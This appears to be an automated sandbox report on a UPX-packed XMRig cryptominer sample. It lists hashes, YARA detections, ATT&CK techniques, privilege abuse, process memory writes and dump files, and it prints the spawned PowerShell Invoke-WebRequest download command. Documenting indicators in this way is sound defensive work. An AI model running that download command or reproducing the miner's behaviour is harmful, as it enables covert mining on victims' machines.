xmrig | 21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233

General

Target

21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe
Size

1.8MB
MD5

eab1d5294dd901c09090536fadce7681
SHA1

fe59340e6a56662696100c610777dfaf39c73f25
SHA256

21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233
SHA512

42e4ab07ee6482c793f5c6a1d93a3de3bb04ca476857ce9650e34aa8e3bc380eb92f40a872b458544018e31409d2fc09f3fbbdac9c3b1563f31a67ca90fd091a
SSDEEP

49152:Lz071uv4BPMkibTIA5I4TNrpDGgDQGqX6:NABS

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/3004-15-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-16-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-17-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-18-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-19-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-20-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-21-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-22-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-23-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-24-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-25-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig
behavioral1/memory/3004-26-0x000000013FD20000-0x0000000140112000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2140	powershell.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3004-0-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-15-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-16-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-17-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-18-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-19-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-20-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-21-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-22-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-23-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-24-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-25-0x000000013FD20000-0x0000000140112000-memory.dmp	upx
behavioral1/memory/3004-26-0x000000013FD20000-0x0000000140112000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2140	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3004	21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe
Token: SeLockMemoryPrivilege	3004	21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 2140	3004	21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe	30
PID 3004 wrote to memory of 2140	3004	21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe	30
PID 3004 wrote to memory of 2140	3004	21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe	30

C:\Users\Admin\AppData\Local\Temp\21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe
"C:\Users\Admin\AppData\Local\Temp\21a3617de07f24569900c421a0ee90486cb29c201a30b2e2fc61ea50ddf69233.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2140-14-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-6-0x000007FEF69EE000-0x000007FEF69EF000-memory.dmp

Filesize
4KB

Download
memory/2140-13-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-7-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2140-8-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-9-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2140-10-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-11-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/2140-12-0x000007FEF6730000-0x000007FEF70CD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-26-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-20-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-1-0x0000000000080000-0x0000000000090000-memory.dmp

Filesize
64KB

Download
memory/3004-0-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-17-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-18-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-19-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-16-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-21-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-22-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-23-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-24-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-25-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download
memory/3004-15-0x000000013FD20000-0x0000000140112000-memory.dmp

Filesize
3.9MB

Download

Analysis

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